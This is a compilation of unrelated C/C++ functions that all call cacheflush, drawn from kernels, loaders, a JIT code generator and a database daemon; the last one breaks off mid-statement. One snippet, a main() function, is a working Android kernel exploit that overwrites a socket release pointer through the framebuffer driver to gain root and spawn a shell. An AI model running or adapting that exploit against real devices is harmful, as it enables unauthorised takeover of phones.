/* * exit kernel either on a panic or user request */ void exit(int ispanic) { void (*f)(void); USED(ispanic); delay(1000); iprint("it's a wonderful day to die\n"); cacheflush(); mmuinvalidate(); mmudisable(); f = nil; (*f)(); }
void handleintsignals(DSTATE *s) { switch (intsignal) { case SIGHUP: snprintf(errorstring, 512, "SIGHUP received, flushing data to disk and reloading config."); printe(PT_Info); cacheflush(s->dirname); s->dbcount = 0; ibwflush(); if (loadcfg(s->cfgfile)) { strncpy_nt(s->dirname, cfg.dbdir, 512); } ibwloadcfg(s->cfgfile); break; case SIGINT: snprintf(errorstring, 512, "SIGINT received, exiting."); printe(PT_Info); s->running = 0; break; case SIGTERM: snprintf(errorstring, 512, "SIGTERM received, exiting."); printe(PT_Info); s->running = 0; break; case 42: break; case 0: break; default: snprintf(errorstring, 512, "Unkown signal %d received, ignoring.", intsignal); printe(PT_Info); break; } intsignal = 0; }
unsigned dismount(struct VCB * vcb) { register unsigned sts,device; struct VCBDEV *vcbdev; int expectfiles = vcb->devices; int openfiles = cacherefcount(&vcb->fcb->cache); if (vcb->status & VCB_WRITE) expectfiles *= 2; #ifdef DEBUG printf("Dismounting disk %d\n",openfiles); #endif sts = SS$_NORMAL; if (openfiles != expectfiles) { sts = SS$_DEVNOTDISM; } else { vcbdev = vcb->vcbdev; for (device = 0; device < vcb->devices; device++) { if (vcbdev->dev != NULL) { if (vcb->status & VCB_WRITE) { sts = deaccessfile(vcbdev->mapfcb); vcbdev->idxfcb->headvioc->cache.status |= CACHE_MODIFIED; vcbdev->idxfcb->cache.status &= ~CACHE_WRITE; cacheflush(); } cachedeltree(&vcb->fcb->cache); sts = deaccesshead(vcbdev->idxfcb->headvioc,NULL,0); vcbdev->idxfcb->headvioc = NULL; sts = cacheuntouch(&vcbdev->idxfcb->cache,0,0); cachedeltree(&vcb->fcb->cache); } vcbdev++; } while (vcb->dircache) cachedelete((struct CACHE *) vcb->dircache); #ifdef DEBUG printf("Post close\n"); cachedump(); #endif free(vcb); } return sts; }
int CodeCache::cache( const AssemblyKeyBase& keyBase, const sp<Assembly>& assembly) { pthread_mutex_lock(&mLock); const ssize_t assemblySize = assembly->size(); while (mCacheInUse + assemblySize > mCacheSize) { // evict the LRU size_t lru = 0; size_t count = mCacheData.size(); for (size_t i=0 ; i<count ; i++) { const cache_entry_t& e = mCacheData.valueAt(i); if (e.when < mCacheData.valueAt(lru).when) { lru = i; } } const cache_entry_t& e = mCacheData.valueAt(lru); mCacheInUse -= e.entry->size(); mCacheData.removeItemsAt(lru); } ssize_t err = mCacheData.add(key_t(keyBase), cache_entry_t(assembly, mWhen)); if (err >= 0) { mCacheInUse += assemblySize; mWhen++; // synchronize caches... #if defined(__arm__) const long base = long(assembly->base()); const long curr = base + long(assembly->size()); err = cacheflush(base, curr, 0); LOGE_IF(err, "__ARM_NR_cacheflush error %s\n", strerror(errno)); #endif } pthread_mutex_unlock(&mLock); return err; }
bool MappableSeekableZStream::ensure(const void *addr) { DEBUG_LOG("ensure @%p", addr); const void *addrPage = PageAlignedPtr(addr); /* Find the mapping corresponding to the given page */ std::vector<LazyMap>::iterator map; for (map = lazyMaps.begin(); map < lazyMaps.end(); ++map) { if (map->Contains(addrPage)) break; } if (map == lazyMaps.end()) return false; /* Find corresponding chunk */ off_t mapOffset = map->offsetOf(addrPage); off_t chunk = mapOffset / zStream.GetChunkSize(); /* In the typical case, we just need to decompress the chunk entirely. But * when the current mapping ends in the middle of the chunk, we want to * stop at the end of the corresponding page. * However, if another mapping needs the last part of the chunk, we still * need to continue. As mappings are ordered by offset and length, we don't * need to scan the entire list of mappings. * It is safe to run through lazyMaps here because the linker is never * going to call mmap (which adds lazyMaps) while this function is * called. */ size_t length = zStream.GetChunkSize(chunk); off_t chunkStart = chunk * zStream.GetChunkSize(); off_t chunkEnd = chunkStart + length; std::vector<LazyMap>::iterator it; for (it = map; it < lazyMaps.end(); ++it) { if (chunkEnd <= it->endOffset()) break; } if ((it == lazyMaps.end()) || (chunkEnd > it->endOffset())) { /* The mapping "it" points at now is past the interesting one */ --it; length = it->endOffset() - chunkStart; } length = PageAlignedSize(length); /* The following lock can be re-acquired by the thread holding it. * If this happens, it means the following code is interrupted somehow by * some signal, and ends up retriggering a chunk decompression for the * same MappableSeekableZStream. * If the chunk to decompress is different the second time, then everything * is safe as the only common data touched below is chunkAvailNum, and it is * atomically updated (leaving out any chance of an interruption while it is * updated affecting the result). If the chunk to decompress is the same, the * worst thing that can happen is chunkAvailNum being incremented one too * many times, which doesn't affect functionality. The chances of it * happening being pretty slim, and the effect being harmless, we can just * ignore the issue. Other than that, we'd just be wasting time decompressing * the same chunk twice. */ AutoLock lock(&mutex); /* The very first page is mapped and accessed separately of the rest, and * as such, only the first page of the first chunk is decompressed this way. * When we fault in the remaining pages of that chunk, we want to decompress * the complete chunk again. Short of doing that, we would end up with * no data between PageSize() and chunkSize, which would effectively corrupt * symbol resolution in the underlying library. */ if (chunkAvail[chunk] < PageNumber(length)) { if (!zStream.DecompressChunk(*buffer + chunkStart, chunk, length)) return false; #if defined(ANDROID) && defined(__arm__) if (map->prot & PROT_EXEC) { /* We just extracted data that may be executed in the future. * We thus need to ensure Instruction and Data cache coherency. */ DEBUG_LOG("cacheflush(%p, %p)", *buffer + chunkStart, *buffer + (chunkStart + length)); cacheflush(reinterpret_cast<uintptr_t>(*buffer + chunkStart), reinterpret_cast<uintptr_t>(*buffer + (chunkStart + length)), 0); } #endif /* Only count if we haven't already decompressed parts of the chunk */ if (chunkAvail[chunk] == 0) chunkAvailNum++; chunkAvail[chunk] = PageNumber(length); } /* Flip the chunk mapping protection to the recorded flags. We could * also flip the protection for other mappings of the same chunk, * but it's easier to skip that and let further segfaults call * ensure again. */ const void *chunkAddr = reinterpret_cast<const void *> (reinterpret_cast<uintptr_t>(addrPage) - mapOffset % zStream.GetChunkSize()); const void *chunkEndAddr = reinterpret_cast<const void *> (reinterpret_cast<uintptr_t>(chunkAddr) + length); const void *start = std::max(map->addr, chunkAddr); const void *end = std::min(map->end(), chunkEndAddr); length = reinterpret_cast<uintptr_t>(end) - reinterpret_cast<uintptr_t>(start); DEBUG_LOG("mprotect @%p, 0x%" PRIxSize ", 0x%x", start, length, map->prot); if (mprotect(const_cast<void *>(start), length, map->prot) == 0) return true; LOG("mprotect failed"); return false; }
void ffts_generate_func_code(ffts_plan_t *p, size_t N, size_t leafN, int sign) { int count = tree_count(N, leafN, 0) + 1; size_t *ps = malloc(count * 2 * sizeof(size_t)); size_t *pps = ps; #ifdef __x86_64__ if(sign < 0) p->constants = sse_constants; else p->constants = sse_constants_inv; #endif elaborate_tree(&pps, N, leafN, 0); pps[0] = 0; pps[1] = 0; pps = ps; #ifdef __arm__ if(N < 8192) p->transform_size = 8192; else p->transform_size = N; #else if(N < 2048) p->transform_size = 16384; else p->transform_size = 16384 + 2*N/8 * __builtin_ctzl(N); #endif #ifdef __APPLE__ p->transform_base = mmap(NULL, p->transform_size, PROT_WRITE | PROT_READ, MAP_ANON | MAP_SHARED, -1, 0); #else #define MAP_ANONYMOUS 0x20 p->transform_base = mmap(NULL, p->transform_size, PROT_WRITE | PROT_READ, MAP_ANONYMOUS | MAP_SHARED, -1, 0); #endif /* if(p->transform_base == MAP_FAILED) { fprintf(stderr, "MAP FAILED\n"); exit(1); }*/ insns_t *func = p->transform_base;//valloc(8192); insns_t *fp = func; //fprintf(stderr, "Allocating %d bytes \n", p->transform_size); //fprintf(stderr, "Base address = %016p\n", func); if(!func) { fprintf(stderr, "NOMEM\n"); exit(1); } insns_t *x_8_addr = fp; #ifdef __arm__ #ifdef HAVE_NEON memcpy(fp, neon_x8, neon_x8_t - neon_x8); if(sign < 0) { fp[31] ^= 0x00200000; fp[32] ^= 0x00200000; fp[33] ^= 0x00200000; fp[34] ^= 0x00200000; fp[65] ^= 0x00200000; fp[66] ^= 0x00200000; fp[70] ^= 0x00200000; fp[74] ^= 0x00200000; fp[97] ^= 0x00200000; fp[98] ^= 0x00200000; fp[102] ^= 0x00200000; fp[104] ^= 0x00200000; } fp += (neon_x8_t - neon_x8) / 4; #else memcpy(fp, vfp_x8, vfp_end - vfp_x8); if(sign > 0) { fp[65] ^= 0x00000040; fp[66] ^= 0x00000040; fp[68] ^= 0x00000040; fp[70] ^= 0x00000040; fp[103] ^= 0x00000040; fp[104] ^= 0x00000040; fp[105] ^= 0x00000040; fp[108] ^= 0x00000040; fp[113] ^= 0x00000040; fp[114] ^= 0x00000040; fp[117] ^= 0x00000040; fp[118] ^= 0x00000040; } fp += (vfp_end - vfp_x8) / 4; #endif #else align_mem16(&fp, 0); x_8_addr = fp; align_mem16(&fp, 5); memcpy(fp, x8_soft, x8_hard - x8_soft); fp += (x8_hard - x8_soft); //fprintf(stderr, "X8 start address = %016p\n", x_8_addr); #endif //uint32_t *x_8_t_addr = fp; //memcpy(fp, neon_x8_t, neon_end - neon_x8_t); //fp += (neon_end - neon_x8_t) / 4; insns_t *x_4_addr = fp; #ifdef __arm__ #ifdef HAVE_NEON memcpy(fp, neon_x4, neon_x8 - neon_x4); if(sign < 0) { fp[26] ^= 0x00200000; fp[28] ^= 0x00200000; fp[31] ^= 0x00200000; fp[32] ^= 0x00200000; } fp += (neon_x8 - neon_x4) / 4; #else memcpy(fp, vfp_x4, vfp_x8 - vfp_x4); if(sign > 0) { fp[36] ^= 0x00000040; fp[38] ^= 0x00000040; fp[43] ^= 0x00000040; fp[44] ^= 0x00000040; } fp += (vfp_x8 - vfp_x4) / 4; #endif #else align_mem16(&fp, 0); x_4_addr = fp; memcpy(fp, x4, x8_soft - x4); fp += (x8_soft - x4); #endif insns_t *start = fp; #ifdef __arm__ *fp = PUSH_LR(); fp++; *fp = 0xed2d8b10; fp++; ADDI(&fp, 3, 1, 0); ADDI(&fp, 7, 1, N); ADDI(&fp, 5, 1, 2*N); ADDI(&fp, 10, 7, 2*N); ADDI(&fp, 4, 5, 2*N); ADDI(&fp, 8, 10, 2*N); ADDI(&fp, 6, 4, 2*N); ADDI(&fp, 9, 8, 2*N); *fp = LDRI(12, 0, ((uint32_t)&p->offsets) - ((uint32_t)p)); fp++; // load offsets into r12 // *fp++ = LDRI(1, 0, 4); // load ws into r1 ADDI(&fp, 1, 0, 0); ADDI(&fp, 0, 2, 0), // mov out into r0 #endif #ifdef __arm__ *fp = LDRI(2, 1, ((uint32_t)&p->ee_ws) - ((uint32_t)p)); fp++; #ifdef HAVE_NEON MOVI(&fp, 11, p->i0); #else MOVI(&fp, 11, p->i0); #endif #else align_mem16(&fp, 0); start = fp; *fp++ = 0x4c; *fp++ = 0x8b; *fp++ = 0x07; uint32_t lp_cnt = p->i0 * 4; MOVI(&fp, RCX, lp_cnt); //LEA(&fp, R8, RDI, ((uint32_t)&p->offsets) - ((uint32_t)p)); #endif //fp++; #ifdef __arm__ #ifdef HAVE_NEON memcpy(fp, neon_ee, neon_oo - neon_ee); if(sign < 0) { fp[33] ^= 0x00200000; fp[37] ^= 0x00200000; fp[38] ^= 0x00200000; fp[39] ^= 0x00200000; fp[40] ^= 0x00200000; fp[41] ^= 0x00200000; fp[44] ^= 0x00200000; fp[45] ^= 0x00200000; fp[46] ^= 0x00200000; fp[47] ^= 0x00200000; fp[48] ^= 0x00200000; fp[57] ^= 0x00200000; } fp += (neon_oo - neon_ee) / 4; #else memcpy(fp, vfp_e, vfp_o - vfp_e); if(sign > 0) { fp[64] ^= 0x00000040; fp[65] ^= 0x00000040; fp[68] ^= 0x00000040; fp[75] ^= 0x00000040; fp[76] ^= 0x00000040; fp[79] ^= 0x00000040; fp[80] ^= 0x00000040; fp[83] ^= 0x00000040; fp[84] ^= 0x00000040; fp[87] ^= 0x00000040; fp[91] ^= 0x00000040; fp[93] ^= 0x00000040; } fp += (vfp_o - vfp_e) / 4; #endif #else //fprintf(stderr, "Body start address = %016p\n", start); PUSH(&fp, RBP); PUSH(&fp, RBX); PUSH(&fp, R10); PUSH(&fp, R11); PUSH(&fp, R12); PUSH(&fp, R13); PUSH(&fp, R14); PUSH(&fp, R15); int i; memcpy(fp, leaf_ee_init, leaf_ee - leaf_ee_init); //fprintf(stderr, "Leaf ee init address = %016p\n", leaf_ee_init); //fprintf(stderr, "Constants address = %016p\n", sse_constants); //fprintf(stderr, "Constants address = %016p\n", p->constants); //int32_t val = READ_IMM32(fp + 3); //fprintf(stderr, "diff = 0x%x\n", ((uint32_t)&p->constants) - ((uint32_t)p)); //int64_t v2 = val + (int64_t)((void *)leaf_ee_init - (void *)fp ); //fprintf(stderr, "IMM = 0x%llx\n", v2); //IMM32_NI(fp + 3, ((int64_t) READ_IMM32(fp + 3)) + ((void *)leaf_ee_init - (void *)fp )); fp += (leaf_ee - leaf_ee_init); //fprintf(stderr, "Leaf start address = %016p\n", fp); align_mem16(&fp, 9); memcpy(fp, leaf_ee, leaf_oo - leaf_ee); uint32_t offsets[8] = {0, N, N/2, 3*N/2, N/4, 5*N/4, 7*N/4, 3*N/4}; uint32_t offsets_o[8] = {0, N, N/2, 3*N/2, 7*N/4, 3*N/4, N/4, 5*N/4}; uint32_t offsets_oe[8] = {7*N/4, 3*N/4, N/4, 5*N/4, 0, N, 3*N/2, N/2}; for(i=0;i<8;i++) IMM32_NI(fp + sse_leaf_ee_offsets[i], offsets[i]*4); fp += (leaf_oo - leaf_ee); if(__builtin_ctzl(N) & 1){ if(p->i1) { lp_cnt += p->i1 * 4; MOVI(&fp, RCX, lp_cnt); align_mem16(&fp, 4); memcpy(fp, leaf_oo, leaf_eo - leaf_oo); for(i=0;i<8;i++) IMM32_NI(fp + sse_leaf_oo_offsets[i], offsets_o[i]*4); fp += (leaf_eo - leaf_oo); } memcpy(fp, leaf_oe, leaf_end - leaf_oe); lp_cnt += 4; for(i=0;i<8;i++) IMM32_NI(fp + sse_leaf_oe_offsets[i], offsets_o[i]*4); fp += (leaf_end - leaf_oe); }else{ memcpy(fp, leaf_eo, leaf_oe - leaf_eo); lp_cnt += 4; for(i=0;i<8;i++) IMM32_NI(fp + sse_leaf_eo_offsets[i], offsets[i]*4); fp += (leaf_oe - leaf_eo); if(p->i1) { lp_cnt += p->i1 * 4; MOVI(&fp, RCX, lp_cnt); align_mem16(&fp, 4); memcpy(fp, leaf_oo, leaf_eo - leaf_oo); for(i=0;i<8;i++) IMM32_NI(fp + sse_leaf_oo_offsets[i], offsets_o[i]*4); fp += (leaf_eo - leaf_oo); } } if(p->i1) { lp_cnt += p->i1 * 4; MOVI(&fp, RCX, lp_cnt); align_mem16(&fp, 9); memcpy(fp, leaf_ee, leaf_oo - leaf_ee); for(i=0;i<8;i++) IMM32_NI(fp + sse_leaf_ee_offsets[i], offsets_oe[i]*4); fp += (leaf_oo - leaf_ee); } //fprintf(stderr, "Body start address = %016p\n", fp); //LEA(&fp, R8, RDI, ((uint32_t)&p->ws) - ((uint32_t)p)); memcpy(fp, x_init, x4 - x_init); //IMM32_NI(fp + 3, ((int64_t)READ_IMM32(fp + 3)) + ((void *)x_init - (void *)fp )); fp += (x4 - x_init); int32_t pAddr = 0; int32_t pN = 0; int32_t pLUT = 0; count = 2; while(pps[0]) { if(!pN) { MOVI(&fp, RCX, pps[0] / 4); }else{ if((pps[1]*4)-pAddr) ADDI(&fp, RDX, (pps[1] * 4)- pAddr); if(pps[0] > leafN && pps[0] - pN) { int diff = __builtin_ctzl(pps[0]) - __builtin_ctzl(pN); *fp++ = 0xc1; if(diff > 0) { *fp++ = 0xe1; *fp++ = (diff & 0xff); }else{ *fp++ = 0xe9; *fp++ = ((-diff) & 0xff); } } } if(p->ws_is[__builtin_ctzl(pps[0]/leafN)-1]*8 - pLUT) ADDI(&fp, R8, p->ws_is[__builtin_ctzl(pps[0]/leafN)-1]*8 - pLUT); if(pps[0] == 2*leafN) { CALL(&fp, x_4_addr); // }else if(!pps[2]){ // //uint32_t *x_8_t_addr = fp; // memcpy(fp, neon_x8_t, neon_ee - neon_x8_t); // fp += (neon_ee - neon_x8_t) / 4; // //*fp++ = BL(fp+2, x_8_t_addr); }else{ CALL(&fp, x_8_addr); } pAddr = pps[1] * 4; if(pps[0] > leafN) pN = pps[0]; pLUT = p->ws_is[__builtin_ctzl(pps[0]/leafN)-1]*8;//LUT_offset(pps[0], leafN); // fprintf(stderr, "LUT offset for %d is %d\n", pN, pLUT); count += 4; pps += 2; } #endif #ifdef __arm__ #ifdef HAVE_NEON if(__builtin_ctzl(N) & 1){ ADDI(&fp, 2, 7, 0); ADDI(&fp, 7, 9, 0); ADDI(&fp, 9, 2, 0); ADDI(&fp, 2, 8, 0); ADDI(&fp, 8, 10, 0); ADDI(&fp, 10, 2, 0); if(p->i1) { MOVI(&fp, 11, p->i1); memcpy(fp, neon_oo, neon_eo - neon_oo); if(sign < 0) { fp[12] ^= 0x00200000; fp[13] ^= 0x00200000; fp[14] ^= 0x00200000; fp[15] ^= 0x00200000; fp[27] ^= 0x00200000; fp[29] ^= 0x00200000; fp[30] ^= 0x00200000; fp[31] ^= 0x00200000; fp[46] ^= 0x00200000; fp[47] ^= 0x00200000; fp[48] ^= 0x00200000; fp[57] ^= 0x00200000; } fp += (neon_eo - neon_oo) / 4; } *fp = LDRI(11, 1, ((uint32_t)&p->oe_ws) - ((uint32_t)p)); fp++; memcpy(fp, neon_oe, neon_end - neon_oe); if(sign < 0) { fp[19] ^= 0x00200000; fp[20] ^= 0x00200000; fp[22] ^= 0x00200000; fp[23] ^= 0x00200000; fp[37] ^= 0x00200000; fp[38] ^= 0x00200000; fp[40] ^= 0x00200000; fp[41] ^= 0x00200000; fp[64] ^= 0x00200000; fp[65] ^= 0x00200000; fp[66] ^= 0x00200000; fp[67] ^= 0x00200000; } fp += (neon_end - neon_oe) / 4; }else{ *fp = LDRI(11, 1, ((uint32_t)&p->eo_ws) - ((uint32_t)p)); fp++; memcpy(fp, neon_eo, neon_oe - neon_eo); if(sign < 0) { fp[10] ^= 0x00200000; fp[11] ^= 0x00200000; fp[13] ^= 0x00200000; fp[14] ^= 0x00200000; fp[31] ^= 0x00200000; fp[33] ^= 0x00200000; fp[34] ^= 0x00200000; fp[35] ^= 0x00200000; fp[59] ^= 0x00200000; fp[60] ^= 0x00200000; fp[61] ^= 0x00200000; fp[62] ^= 0x00200000; } fp += (neon_oe - neon_eo) / 4; ADDI(&fp, 2, 7, 0); ADDI(&fp, 7, 9, 0); ADDI(&fp, 9, 2, 0); ADDI(&fp, 2, 8, 0); ADDI(&fp, 8, 10, 0); ADDI(&fp, 10, 2, 0); if(p->i1) { MOVI(&fp, 11, p->i1); memcpy(fp, neon_oo, neon_eo - neon_oo); if(sign < 0) { fp[12] ^= 0x00200000; fp[13] ^= 0x00200000; fp[14] ^= 0x00200000; fp[15] ^= 0x00200000; fp[27] ^= 0x00200000; fp[29] ^= 0x00200000; fp[30] ^= 0x00200000; fp[31] ^= 0x00200000; fp[46] ^= 0x00200000; fp[47] ^= 0x00200000; fp[48] ^= 0x00200000; fp[57] ^= 0x00200000; } fp += (neon_eo - neon_oo) / 4; } } if(p->i1) { ADDI(&fp, 2, 3, 0); ADDI(&fp, 3, 7, 0); ADDI(&fp, 7, 2, 0); ADDI(&fp, 2, 4, 0); ADDI(&fp, 4, 8, 0); ADDI(&fp, 8, 2, 0); ADDI(&fp, 2, 5, 0); ADDI(&fp, 5, 9, 0); ADDI(&fp, 9, 2, 0); ADDI(&fp, 2, 6, 0); ADDI(&fp, 6, 10, 0); ADDI(&fp, 10, 2, 0); ADDI(&fp, 2, 9, 0); ADDI(&fp, 9, 10, 0); ADDI(&fp, 10, 2, 0); *fp = LDRI(2, 1, ((uint32_t)&p->ee_ws) - ((uint32_t)p)); fp++; MOVI(&fp, 11, p->i1); memcpy(fp, neon_ee, neon_oo - neon_ee); if(sign < 0) { fp[33] ^= 0x00200000; fp[37] ^= 0x00200000; fp[38] ^= 0x00200000; fp[39] ^= 0x00200000; fp[40] ^= 0x00200000; fp[41] ^= 0x00200000; fp[44] ^= 0x00200000; fp[45] ^= 0x00200000; fp[46] ^= 0x00200000; fp[47] ^= 0x00200000; fp[48] ^= 0x00200000; fp[57] ^= 0x00200000; } fp += (neon_oo - neon_ee) / 4; } #else ADDI(&fp, 2, 7, 0); ADDI(&fp, 7, 9, 0); ADDI(&fp, 9, 2, 0); ADDI(&fp, 2, 8, 0); ADDI(&fp, 8, 10, 0); ADDI(&fp, 10, 2, 0); MOVI(&fp, 11, (p->i1>0) ? p->i1 : 1); memcpy(fp, vfp_o, vfp_x4 - vfp_o); if(sign > 0) { fp[22] ^= 0x00000040; fp[24] ^= 0x00000040; fp[25] ^= 0x00000040; fp[26] ^= 0x00000040; fp[62] ^= 0x00000040; fp[64] ^= 0x00000040; fp[65] ^= 0x00000040; fp[66] ^= 0x00000040; } fp += (vfp_x4 - vfp_o) / 4; ADDI(&fp, 2, 3, 0); ADDI(&fp, 3, 7, 0); ADDI(&fp, 7, 2, 0); ADDI(&fp, 2, 4, 0); ADDI(&fp, 4, 8, 0); ADDI(&fp, 8, 2, 0); ADDI(&fp, 2, 5, 0); ADDI(&fp, 5, 9, 0); ADDI(&fp, 9, 2, 0); ADDI(&fp, 2, 6, 0); ADDI(&fp, 6, 10, 0); ADDI(&fp, 10, 2, 0); ADDI(&fp, 2, 9, 0); ADDI(&fp, 9, 10, 0); ADDI(&fp, 10, 2, 0); *fp = LDRI(2, 1, ((uint32_t)&p->ee_ws) - ((uint32_t)p)); fp++; MOVI(&fp, 11, (p->i2>0) ? p->i2 : 1); memcpy(fp, vfp_e, vfp_o - vfp_e); if(sign > 0) { fp[64] ^= 0x00000040; fp[65] ^= 0x00000040; fp[68] ^= 0x00000040; fp[75] ^= 0x00000040; fp[76] ^= 0x00000040; fp[79] ^= 0x00000040; fp[80] ^= 0x00000040; fp[83] ^= 0x00000040; fp[84] ^= 0x00000040; fp[87] ^= 0x00000040; fp[91] ^= 0x00000040; fp[93] ^= 0x00000040; } fp += (vfp_o - vfp_e) / 4; #endif *fp = LDRI(2, 1, ((uint32_t)&p->ws) - ((uint32_t)p)); fp++; // load offsets into r12 //ADDI(&fp, 2, 1, 0); MOVI(&fp, 1, 0); // args: r0 - out // r1 - N // r2 - ws // ADDI(&fp, 3, 1, 0); // put N into r3 for counter int32_t pAddr = 0; int32_t pN = 0; int32_t pLUT = 0; count = 2; while(pps[0]) { // fprintf(stderr, "size %zu at %zu - diff %zu\n", pps[0], pps[1]*4, (pps[1]*4) - pAddr); if(!pN) { MOVI(&fp, 1, pps[0]); }else{ if((pps[1]*4)-pAddr) ADDI(&fp, 0, 0, (pps[1] * 4)- pAddr); if(pps[0] - pN) ADDI(&fp, 1, 1, pps[0] - pN); } if(p->ws_is[__builtin_ctzl(pps[0]/leafN)-1]*8 - pLUT) ADDI(&fp, 2, 2, p->ws_is[__builtin_ctzl(pps[0]/leafN)-1]*8 - pLUT); if(pps[0] == 2*leafN) { *fp = BL(fp+2, x_4_addr); fp++; }else if(!pps[2]){ //uint32_t *x_8_t_addr = fp; #ifdef HAVE_NEON memcpy(fp, neon_x8_t, neon_ee - neon_x8_t); if(sign < 0) { fp[31] ^= 0x00200000; fp[32] ^= 0x00200000; fp[33] ^= 0x00200000; fp[34] ^= 0x00200000; fp[65] ^= 0x00200000; fp[66] ^= 0x00200000; fp[70] ^= 0x00200000; fp[74] ^= 0x00200000; fp[97] ^= 0x00200000; fp[98] ^= 0x00200000; fp[102] ^= 0x00200000; fp[104] ^= 0x00200000; } fp += (neon_ee - neon_x8_t) / 4; //*fp++ = BL(fp+2, x_8_t_addr); #else *fp = BL(fp+2, x_8_addr); fp++; #endif }else{ *fp = BL(fp+2, x_8_addr); fp++; } pAddr = pps[1] * 4; pN = pps[0]; pLUT = p->ws_is[__builtin_ctzl(pps[0]/leafN)-1]*8;//LUT_offset(pps[0], leafN); // fprintf(stderr, "LUT offset for %d is %d\n", pN, pLUT); count += 4; pps += 2; } *fp++ = 0xecbd8b10; *fp++ = POP_LR(); count++; #else POP(&fp, R15); POP(&fp, R14); POP(&fp, R13); POP(&fp, R12); POP(&fp, R11); POP(&fp, R10); POP(&fp, RBX); POP(&fp, RBP); RET(&fp); //uint8_t *pp = func; //int counter = 0; //do{ // printf("%02x ", *pp); // if(counter++ % 16 == 15) printf("\n"); //} while(++pp < fp); //printf("\n"); #endif // *fp++ = B(14); count++; //for(int i=0;i<(neon_x8 - neon_x4)/4;i++) // fprintf(stderr, "%08x\n", x_4_addr[i]); //fprintf(stderr, "\n"); //for(int i=0;i<count;i++) free(ps); if (mprotect(func, p->transform_size, PROT_READ | PROT_EXEC)) { perror("Couldn't mprotect"); exit(1); } #ifdef __APPLE__ sys_icache_invalidate(func, p->transform_size); #elif __ANDROID__ cacheflush((long)(func), (long)(func) + p->transform_size, 0); #elif __linux__ #ifdef __GNUC__ __clear_cache((long)(func), (long)(func) + p->transform_size); #endif #endif //fprintf(stderr, "size of transform %zu = %d\n", N, (fp-func)*4); p->transform = (void *) (start); }
int main(int argc, char const *argv[]) { //Opening the device int mdp_fd = open("/dev/graphics/fb0", O_RDONLY | O_DSYNC); if (mdp_fd < 0) { perror("[-] Failed to open /dev/graphics/fb0"); return -errno; } printf("[+] Opened mdp driver\n"); uint32_t mdp_base = get_mdp_base(); printf("[+] Got mdp_base: 0x%08x\n", mdp_base); uint32_t mdp_lut_i = leak_mdp_lut_i(mdp_fd, mdp_base); printf("[+] Got mdp_lut_i: 0x%01x\n", mdp_lut_i); /** * The pointer to the function stub which is executed whenever a PPPOLAC * socket is closed. This stub contains a short piece of ARM code which jumps * to the given address, like so: * LDR PC, addr * addr: * DCD <ADDRESS> */ uint32_t* trampoline = NULL; //Allocating the trampoline trampoline = (uint32_t*)mmap((void*)TRAMPOLINE_ADDRESS, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0); if (trampoline == NULL) { perror("[-] Failed to allocate trampoline"); return -errno; } printf("[+] Allocated trampoline\n"); printf("[i] Attempting to execute kernel_payload at 0x%08x\n", (uint32_t)&kernel_payload); //Writing to the trampoline trampoline[0] = 0xE51FF004; //LDR PC, [addr] //addr: trampoline[1] = (uint32_t)&kernel_payload; //Flushing the cache (to make sure the I-cache doesn't contain leftovers) cacheflush((uint32_t)trampoline & (~0xFFF), 0x1000, 0); // mdp_lut_i will switch between 0 and 1 at each call mdp_lut_i = !mdp_lut_i; write_where(mdp_fd, mdp_lut_i, mdp_base, (uint32_t)trampoline, PPPOLAC_PROTO_OPS_RELEASE); //Opening and closing a PPPOLAC socket int sock = socket(AF_PPPOX, SOCK_DGRAM, PX_PROTO_OLAC); if (sock < 0) { perror("[-] Failed to open PPPOLAC socket\n"); return -errno; } printf("[+] Opened PPPOLAC socket: %d\n", sock); close(sock); printf("[+] Executed function\n"); if (getuid() != 0) { printf("[-] failed to get uid 0\n"); exit(EXIT_FAILURE); } printf("[+] got r00t!\n"); close(mdp_fd); munmap((void*)TRAMPOLINE_ADDRESS, 0x1000); execl("/system/bin/sh", "sh", NULL); return 0; }
void deepsleep(void) { static int power_pl; ulong xsp, xlink; // ulong mecr; ulong clkd; vlong savedtod; extern void power_resume(void); power_pl = splhi(); xlink = getcallerpc(&xlink); /* Power down */ pcmciapower(0); irpower(0); audiopower(0); screenpower(0); µcpower(0); iprint("entering suspend mode, sp = %#p, pc = 0x%lux, psw = 0x%ux\n", &xsp, xlink, power_pl); // dumpitall(); delay(1000); uartpower(0); rs232power(0); clockpower(0); gpiosave(&savedgpioregs, gpioregs); intrcpy(&savedintrregs, intrregs); cacheflush(); delay(50); if(setpowerlabel()){ /* return here with mmu back on */ trapresume(); gpiorestore(gpioregs, &savedgpioregs); delay(50); intrcpy(intrregs, &savedintrregs); if(intrregs->icip & (1<<IRQgpio0)){ // don't want to sleep now. clear on/off irq. gpioregs->edgestatus = (1<<IRQgpio0); intrregs->icip = (1<<IRQgpio0); } clkd = clockpower(1); gpclkregs->r0 = 1<<0; todset(savedtod + clkd * TODFREQ, 0LL, 0); resetsuspendtimer(); rs232power(1); uartpower(1); delay(100); xlink = getcallerpc(&xlink); iprint("\nresuming execution, sp = %#p, pc = 0x%lux, psw = 0x%ux\n", &xsp, xlink, splhi()); // dumpitall(); delay(1000); // irpower(1); audiopower(1); µcpower(1); screenpower(1); pcmciapower(1); splx(power_pl); return; } cacheflush(); delay(100); savedtod = todget(nil); power_down(); /* no return */ }
void md_cacheflush(u1 *addr, s4 nbytes) { cacheflush(addr, FLUSH_SCOPE_PAGE, FLUSH_CACHE_BOTH, nbytes); }
static void extractFile(const char * path, const struct cdir_entry *entry, void * data) { uint32_t size = letoh32(entry->uncompressed_size); struct stat status; if (!stat(path, &status) && status.st_size == size && apk_mtime < status.st_mtime) return; int fd = open(path, O_CREAT | O_NOATIME | O_TRUNC | O_RDWR, S_IRWXU); if (fd == -1) { __android_log_print(ANDROID_LOG_ERROR, "GeckoLibLoad", "Couldn't open %s to decompress library", path); return; } if (ftruncate(fd, size) == -1) { __android_log_print(ANDROID_LOG_ERROR, "GeckoLibLoad", "Couldn't ftruncate %s to decompress library", path); close(fd); return; } void * buf = mmap(NULL, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); if (buf == (void *)-1) { __android_log_print(ANDROID_LOG_ERROR, "GeckoLibLoad", "Couldn't mmap decompression buffer"); close(fd); return; } z_stream strm = { next_in: (Bytef *)data, avail_in: letoh32(entry->compressed_size), total_in: 0, next_out: (Bytef *)buf, avail_out: size, total_out: 0 }; int ret; ret = inflateInit2(&strm, -MAX_WBITS); if (ret != Z_OK) __android_log_print(ANDROID_LOG_ERROR, "GeckoLibLoad", "inflateInit failed: %s", strm.msg); if (inflate(&strm, 